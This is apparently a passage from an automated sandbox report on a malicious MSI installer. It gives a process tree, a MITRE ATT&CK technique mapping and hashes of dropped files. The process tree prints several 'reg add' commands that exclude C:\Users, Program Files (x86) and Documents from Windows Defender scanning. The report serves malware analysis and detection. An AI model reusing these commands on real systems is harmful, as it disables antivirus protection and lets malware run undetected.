PID:1292
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C:\Windows\system32\cmd.execmd.exe1⤵PID:872
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Suspicious use of WriteProcessMemory
PID:4948 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4756
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Suspicious use of WriteProcessMemory
PID:4716 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4304
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Suspicious use of WriteProcessMemory
PID:4332 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4408
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Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify Tools
1Indicator Removal
1Clear Persistence
1Modify Registry
2System Binary Proxy Execution
1Msiexec
1Replay Monitor
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Downloads
- Path C:\Config.Msi\e5879df.rbs
- Size 7KB
- SHA256 7efc402b0f1722e019b46693c4fc812af57155b237d65f5a981b5089ff307080
- MD5 99014707fedacbf5e021bcdaeee968dd
- SHA1 93a262020768b6be8d72a6601c4cd9a4644ef1bc
- SHA512 73e3e6abda871abadefca69448f4d7dfc3f50bb9bfc6d62a0b9c9c507cca77bc87985e3c9222f6d4ae9435a18598bdd3040ae8abb5d4efea91bde9ee59da0020
- SSDEEP 192:Ifneo6v8aDbI1aDbMSwFc3JHsS15ePNYvp5EAcrCRm8X:INaDOaD10Nu
- TLSH T16CF13F02B6448EE2F8D31F7AC7035B6A37B2E7E95314A30F44CD48701F42789DEA958A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\KSbWRg\UxEnhance64.dll
- Size 3.1MB
- SHA256 f53199c2740649104e8f3beda6a3046eebe29b3b762f21eeae99d0564a2f0c73
- MD5 5fa30e1ea6a3aabdc182828febaeb35a
- SHA1 66c847bb3925791fc1e1536d65113c00a0fa0159
- SHA512 508141b0d7c421c09067774b7f216e80fa5b5eb98422d8cbdabae2db81b1fa68c293412d3cbadfaff09a266ddd9dae851426db847824f63b0099fd9d378d2d15
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+V:P9m29xx3Tiqt06ox6+z2rNNrKoV
- TLSH T136E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\KSbWRg\adoresd.dat
- Size 4.8MB
- SHA256 8b3d4ff381aeff7fb662dd5b5cf9815af4335a19d96d72e0c5b7fd3e0658eada
- MD5 917ebf493999a07d105eda6798e7d43d
- SHA1 0cba94fbe401e21b490a98f382758d817a2bcd08
- SHA512 34944fff045fbda86bf174fd384050709138af9488960c25a8263e429f89d9477cd871a6cac5f9d31ea7c991a5e6f7b4a8aaa6ca5a75bbd46a57a42c08d852e4
- SSDEEP 98304:ouZ630UjjOt6udZuYb7Ad2WAqSFmtNYNF/ltN3fjZgRnXxs:VQDPnORb7AdPEm7Y7ltlVgxs
- TLSH T159363339536D9C62DDC7A0F8A49D4596FF683D60FAE2A006B47C1D213015DFB986FE08
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\KSbWRg\liRWKH.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\KSbWRg\msadox.tb
- Size 8KB
- SHA256 d14e3e61957ba142d64830b63418ce816e76e4c25449539a5cebb5bcd5f84c7f
- MD5 af9a1549d004152d7c30bc85ea971274
- SHA1 52c5b69c6c2a0a047839b07054c8f50fdd936d7c
- SHA512 f1da692e3cb06816be081b94d85cbc413d5cbbd0f2daa299735f6efb614de70b327a057467e41815fb50a40a7ead71ee204edc46f5c1a5c9e48a00164e57ced1
- SSDEEP 192:jqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:jsZqZOXQ3uqvR2Kfzp
- TLSH T1A6029E05D7A20CC3E2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSI7B66.tmp
- Size 9.3MB
- SHA256 354e64c754a1046a36cc37185e405c494111eb8610e43b6e49cb0cd81484931f
- MD5 a456cf390c36f5dd65f3f062d2178eb9
- SHA1 c17469dd5c82fa2a5060eec0772c482c5b477d40
- SHA512 d25cd22d93251c8ba04e83a81a83f2b9649a923149fa64433a698f37e411d98a017f11323cb949d151555a0db285d7615b2794318752649a54b6a5f6d249a27f
- SSDEEP 196608:zP/h3UZiMppzYvOQVAqNjazBtflL4ciUj1jdWW+zRr+gea:zPpUsvOB3zbflcJkF+z2a
- TLSH T1F4A633C254CA78B0C08FCB78649568FEF0253FD2BE2E0D19BBD496585E73A1938B9345
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\e5879de.msi
- Size 9.3MB
- SHA256 00ce83f5a2128c526ef5ef9f2c0183f548bc7972e79cf381221e32202cc9718f
- MD5 1fd2ff13426e2c03f32cc0bc82660f29
- SHA1 67d13d8f15d572b829de75b70db5517eb618f5fc
- SHA512 90c1128624f98b6bae343c3d1a25a9402954617de5e21c093c063b92127764b1eae8c73a6bcf93fd8f32fbff83a010ad49dbdb75dd4e768dd942887111263dfc
- SSDEEP 196608:hP/h3UZiMppzYvOQVqqNjazBtflL4ciUj1jdWW+mRr+geT:hPpUsvO33zbflcJkF+m2T
- TLSH T155A63381A4C639B0C04FCB78649664FEF0253FD2BA2E4D1A77D4B61C5E73A2934B9349
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 24.1MB
- SHA256 5aa5b8d7fb250df68300336a72899bc1d52ed8b5b4b20609446802f2640ea4d2
- MD5 5600b371c12e10054e117e7723f02041
- SHA1 1d08ab7aa15918500c422645b566f2c33557e65a
- SHA512 ece2ddbc5abc54a6d0c3b9f93adec3c6eaa90fb36d0faab43515344ec0a744d4760af9496aeb0e983bab257ed58c9f8e5bd02aef2619be44072f3901c59f9eb2
- SSDEEP 24576:9u8m+1zydoO/vvTL7WBeU26FA4kDJFhitHmNjegl5Uqwe2YMYvlYpXqhU:M
- TLSH T19947D22432F92510E7F39E3CA8F1AA2389397D579C199E8D05411F4E0961FB1E872F6B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\Volume{fef0c820-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{275525f1-af79-4b01-b993-750fbf871d97}_OnDiskSnapshotProp
- Size 6KB
- SHA256 4241874fc334a89b34c65f936a2a3c8c3929efbf573bec033989a192143a1004
- MD5 32315b9e8ea7593ec7efc2376b605d92
- SHA1 e2e1a64f377e4dc5352a9a8e3ce4d8aa1fd10f5c
- SHA512 e3a4120e9da3ea852d4680bcaafce781ebebc07dc7c34bfd0105f5bfeb489f82ff2b136cf975ac38695807a910f807b9acd5094a2003f19c7c621412c89afd19
- SSDEEP 96:F+BMKelSvc8DD84LTHzbOHXOHBlBRQ88Sc9XE56tOSVQpu:8ndb++ZVm
- TLSH T124D1A8085AF54711E2B3AB712DF18557A877B811EF33CB8E0198238E2670A10F875F6B
- MD5 SHA1 SHA512 SSDEEP TLSH